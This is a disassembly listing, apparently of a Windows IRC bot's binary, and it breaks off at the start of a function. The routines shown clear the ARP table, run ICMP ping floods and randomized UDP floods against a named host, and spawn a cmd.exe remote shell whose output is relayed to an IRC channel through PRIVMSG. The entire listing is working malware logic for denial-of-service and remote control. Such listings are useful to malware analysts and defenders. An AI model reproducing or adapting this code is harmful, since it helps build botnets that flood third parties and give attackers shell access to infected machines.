		push	[ebp+var_8]
		call	sub_413F0B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_413890
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_408A0C
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_44CD54	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_408A45
		jmp	short loc_4089C1
; ---------------------------------------------------------------------------


loc_408A0C:				; CODE XREF: sub_40897F+79j
		push	offset unk_4286D8


loc_408A11:				; CODE XREF: sub_40897F+5Ej
					; sub_40897F+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_408A1F:				; CODE XREF: sub_40897F+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_409833
		pop	ecx


loc_408A2F:				; CODE XREF: sub_40897F+C8j
					; sub_40897F+DCj
		push	esi
		call	sub_413F7F
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408A3E:				; CODE XREF: sub_40897F+32j
		push	offset unk_428698
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_408A45:				; CODE XREF: sub_40897F+29j
					; sub_40897F+89j
		cmp	[esi], edi
		jbe	short loc_408A2F
		lea	ebx, [esi+4]


loc_408A4C:				; CODE XREF: sub_40897F+DAj
		push	ebx
		call	dword_44CD50	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_408A4C
		jmp	short loc_408A2F
sub_40897F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A5D	proc near		; CODE XREF: sub_401447+249p
					; sub_401BD7+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CC84	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_44CF0C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_413812
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408A5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AB6	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_408ADF
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_408AD2:				; CODE XREF: sub_408AB6+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_408AD2
		pop	edi
		jmp	short loc_408AE3
; ---------------------------------------------------------------------------


loc_408ADF:				; CODE XREF: sub_408AB6+Aj
		mov	edx, [esp+4+arg_0]


loc_408AE3:				; CODE XREF: sub_408AB6+27j
		test	esi, esi
		pop	esi
		jz	short loc_408AED
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_408AED:				; CODE XREF: sub_408AB6+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_408AB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B03	proc near		; DATA XREF: sub_40CC09+29EBo

var_10220	= byte ptr -10220h
var_244		= byte ptr -244h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10220h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_44CC70	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_408B5E
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_44CD5C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_408B64


loc_408B5E:				; CODE XREF: sub_408B03+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_408BC1


loc_408B64:				; CODE XREF: sub_408B03+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_4287C8
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408BA4
		push	ebx
		lea	eax, [ebp+var_244]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40B2B5
		add	esp, 14h


loc_408BA4:				; CODE XREF: sub_408B03+7Fj
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread


loc_408BC1:				; CODE XREF: sub_408B03+5Fj
		cmp	eax, ebx
		jz	short loc_408BD1
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_408BD4
; ---------------------------------------------------------------------------


loc_408BD1:				; CODE XREF: sub_408B03+C0j
		mov	[ebp+var_4], esi


loc_408BD4:				; CODE XREF: sub_408B03+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_413890
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_408BF4
		mov	[ebp+var_3C], eax


loc_408BF4:				; CODE XREF: sub_408B03+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_408BFC
		mov	[ebp+var_38], edi


loc_408BFC:				; CODE XREF: sub_408B03+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_408C29


loc_408C03:				; CODE XREF: sub_408B03+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10220]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_44CC10	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_408C03


loc_408C29:				; CODE XREF: sub_408B03+FEj
		push	[ebp+arg_0]
		call	dword_44CD90	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_42878C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408C72
		push	ebx
		lea	eax, [ebp+var_244]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40B2B5
		add	esp, 14h


loc_408C72:				; CODE XREF: sub_408B03+14Dj
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
sub_408B03	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C8F	proc near		; DATA XREF: sub_40CC09+2B40o

var_10212	= byte ptr -10212h
var_10210	= byte ptr -10210h
var_234		= byte ptr -234h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10210h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_44CD58	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_408D74
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_44CD5C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_408D6D
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_42883C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_408D50
		push	edi
		lea	eax, [ebp+var_234]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40B2B5
		add	esp, 14h


loc_408D50:				; CODE XREF: sub_408C8F+9Fj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_409833
		push	[ebp+var_20]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_408D6D:				; CODE XREF: sub_408C8F+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_408D77
; ---------------------------------------------------------------------------


loc_408D74:				; CODE XREF: sub_408C8F+6Ej
		lea	eax, [ebp+arg_0]


loc_408D77:				; CODE XREF: sub_408C8F+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_408D92
		call	sub_41386E
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408D95
; ---------------------------------------------------------------------------


loc_408D92:				; CODE XREF: sub_408C8F+F0j
		push	[ebp+var_24]


loc_408D95:				; CODE XREF: sub_408C8F+101j
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_408DA7
		mov	[ebp+var_24], esi


loc_408DA7:				; CODE XREF: sub_408C8F+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_408DB4
		mov	[ebp+var_24], eax


loc_408DB4:				; CODE XREF: sub_408C8F+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_408DC8
		mov	[ebp+var_28], esi


loc_408DC8:				; CODE XREF: sub_408C8F+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_408DE9


loc_408DCF:				; CODE XREF: sub_408C8F+158j
		call	sub_41386E
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10211h], dl
		jl	short loc_408DCF


loc_408DE9:				; CODE XREF: sub_408C8F+13Ej
					; sub_408C8F+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_408E48
		push	0Bh
		pop	esi


loc_408DF6:				; CODE XREF: sub_408C8F+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10210]
		push	eax
		push	ebx
		call	dword_44CD3C	; sendto
		push	[ebp+var_28]
		call	dword_41F050	; Sleep
		dec	esi
		jnz	short loc_408DF6
		cmp	[ebp+var_24], edi
		jnz	short loc_408DE9
		call	sub_41386E
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		jmp	short loc_408DE9
; ---------------------------------------------------------------------------


loc_408E48:				; CODE XREF: sub_408C8F+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_428800
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_408E88
		push	edi
		lea	eax, [ebp+var_234]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40B2B5
		add	esp, 14h


loc_408E88:				; CODE XREF: sub_408C8F+1D7j
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_409833
		push	[ebp+var_20]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread
sub_408C8F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408EA5	proc near		; CODE XREF: sub_408ED5+2Ap
					; sub_408F0D+7Ep ...
		mov	eax, dword_44CF24
		push	esi
		mov	esi, dword_41F058
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408EB9
		push	eax
		call	esi	; CloseHandle


loc_408EB9:				; CODE XREF: sub_408EA5+Fj
		mov	eax, dword_44CF2C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408EC6
		push	eax
		call	esi	; CloseHandle


loc_408EC6:				; CODE XREF: sub_408EA5+1Cj
		mov	eax, dword_44CF20
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408ED3
		push	eax
		call	esi	; CloseHandle


loc_408ED3:				; CODE XREF: sub_408EA5+29j
		pop	esi
		retn
sub_408EA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408ED5	proc near		; CODE XREF: sub_409BFD+14Ap
					; sub_40CC09+412Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_413E90
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_44CF28
		call	dword_41F054	; WriteFile
		test	eax, eax
		jnz	short loc_408F08
		call	sub_408EA5
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_408F08:				; CODE XREF: sub_408ED5+28j
		push	1
		pop	eax
		leave
		retn
sub_408ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F0D	proc near		; CODE XREF: sub_408F94+D7p
					; sub_408F94+F6p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	offset byte_438A10
		push	[ebp+arg_4]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408F50
		push	7D0h
		call	dword_41F050	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	short loc_408F67
; ---------------------------------------------------------------------------


loc_408F50:				; CODE XREF: sub_408F0D+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_100]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_408F67:				; CODE XREF: sub_408F0D+41j
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		test	eax, eax
		jg	short loc_408F90
		call	sub_408EA5


loc_408F90:				; CODE XREF: sub_408F0D+7Cj
		xor	eax, eax
		leave
		retn
sub_408F0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F94	proc near		; DATA XREF: sub_4090ED+170o

var_10C		= byte ptr -10Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		xor	edi, edi
		mov	ebx, offset dword_44CF30


loc_408FAC:				; CODE XREF: sub_408F94+79j
					; sub_408F94+DFj
		push	esi
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	esi
		push	eax
		push	dword_44CF24
		call	dword_41F0E8	; PeekNamedPipe
		test	eax, eax
		jz	loc_40907E
		cmp	[ebp+var_4], edi
		jnz	short loc_40900F
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_44CF20
		call	dword_41F0E4	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_409005
		cmp	[ebp+var_8], 103h
		jnz	loc_4090A2


loc_409005:				; CODE XREF: sub_408F94+62j
		push	0Ah
		call	dword_41F050	; Sleep
		jmp	short loc_408FAC
; ---------------------------------------------------------------------------


loc_40900F:				; CODE XREF: sub_408F94+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_409026


loc_409016:				; CODE XREF: sub_408F94+90j
		cmp	[ebp+eax+var_10C], 0Ah
		jz	short loc_409078
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_409016


loc_409026:				; CODE XREF: sub_408F94+80j
		mov	[ebp+var_4], 200h


loc_40902D:				; CODE XREF: sub_408F94+E8j
		push	esi
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_10C]
		push	eax
		push	dword_44CF24
		call	dword_41F090	; ReadFile
		test	eax, eax
		jz	short loc_4090CA
		lea	eax, [ebp+var_10C]
		push	eax
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		add	esp, 0Ch
		jmp	loc_408FAC
; ---------------------------------------------------------------------------


loc_409078:				; CODE XREF: sub_408F94+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40902D
; ---------------------------------------------------------------------------


loc_40907E:				; CODE XREF: sub_408F94+45j
		push	offset unk_4288FC
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	1
		call	dword_41F040	; ExitThread


loc_4090A2:				; CODE XREF: sub_408F94+6Bj
		call	sub_408EA5
		push	offset unk_4288C4
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	edi
		call	dword_41F040	; ExitThread


loc_4090CA:				; CODE XREF: sub_408F94+C7j
		push	offset unk_428884
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	edi
		call	dword_41F040	; ExitThread
sub_408F94	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4090ED	proc near		; CODE XREF: sub_409BFD+99p
					; sub_40CC09+4D28p

var_278		= byte ptr -278h
var_174		= byte ptr -174h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 278h
		push	ebx
		push	esi
		push	edi
		call	sub_408EA5
		xor	esi, esi
		lea	eax, [ebp+var_278]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_44CD94	; SearchPathA
		test	eax, eax
		jz	loc_4091E7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_41F0F4
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_4091E7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_4091E7
		mov	edi, dword_41F0F0
		push	3
		push	esi
		push	esi
		push	offset dword_44CF28
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_41F0EC	; DuplicateHandle
		test	eax, eax
		jz	short loc_4091E7
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438A10
		push	esi
		lea	eax, [ebp+var_278]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_41F0D4	; CreateProcessA
		test	eax, eax
		jnz	short loc_4091EF


loc_4091E7:				; CODE XREF: sub_4090ED+2Fj
					; sub_4090ED+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40929D
; ---------------------------------------------------------------------------


loc_4091EF:				; CODE XREF: sub_4090ED+F8j
		push	[ebp+var_4]
		mov	edi, dword_41F058
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_44CF24, eax
		mov	eax, [ebp+var_8]
		mov	dword_44CF2C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_44CF20, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_44CF64, eax
		jz	short loc_409229
		push	[ebp+arg_4]
		jmp	short loc_40922A
; ---------------------------------------------------------------------------


loc_409229:				; CODE XREF: sub_4090ED+135j
		push	ebx


loc_40922A:				; CODE XREF: sub_4090ED+13Aj
		push	offset dword_44CF30
		call	sub_413812
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset unk_428980
		call	sub_4132BE
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 134h
		add	esp, 0Ch
		mov	dword_452130[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_408F94
		push	esi
		push	esi
		call	dword_41F070	; CreateThread
		cmp	eax, esi
		mov	dword_45213C[edi], eax
		jnz	short loc_40929B
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_174]
		push	offset unk_42893C
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_40929B:				; CODE XREF: sub_4090ED+185j
		xor	eax, eax


loc_40929D:				; CODE XREF: sub_4090ED+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4090ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4092A2	proc near		; CODE XREF: sub_405F18+74p
					; sub_4093C1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_44CF6C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_413D8A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4092A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40930B	proc near		; CODE XREF: sub_4093C1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_409313:				; CODE XREF: sub_40930B+2Fj
					; sub_40930B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_41F050	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4155C0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_409313
		jb	short loc_409342
		cmp	ebx, esi
		ja	short loc_409313


loc_409342:				; CODE XREF: sub_40930B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_415540
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_4093B5
		jb	short loc_409361
		cmp	esi, 50h
		jnb	short loc_409366


loc_409361:				; CODE XREF: sub_40930B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_409366:				; CODE XREF: sub_40930B+54j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409371
		cmp	esi, 47h
		jnb	short loc_409376


loc_409371:				; CODE XREF: sub_40930B+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_409376:				; CODE XREF: sub_40930B+64j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409381
		cmp	esi, 37h
		jnb	short loc_409386


loc_409381:				; CODE XREF: sub_40930B+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_409386:				; CODE XREF: sub_40930B+74j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409391
		cmp	esi, 26h
		jnb	short loc_409396


loc_409391:				; CODE XREF: sub_40930B+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_409396:				; CODE XREF: sub_40930B+84j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_4093A1
		cmp	esi, 1Eh
		jnb	short loc_4093A6


loc_4093A1:				; CODE XREF: sub_40930B+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_4093A6:				; CODE XREF: sub_40930B+94j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_4093B1
		cmp	esi, 0Ah
		jnb	short loc_4093B5


loc_4093B1:				; CODE XREF: sub_40930B+9Fj
		xor	eax, eax
		xor	edx, edx


loc_4093B5:				; CODE XREF: sub_40930B+4Dj
					; sub_40930B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40930B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093C1	proc near		; CODE XREF: sub_40CC09+4F9Ap

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
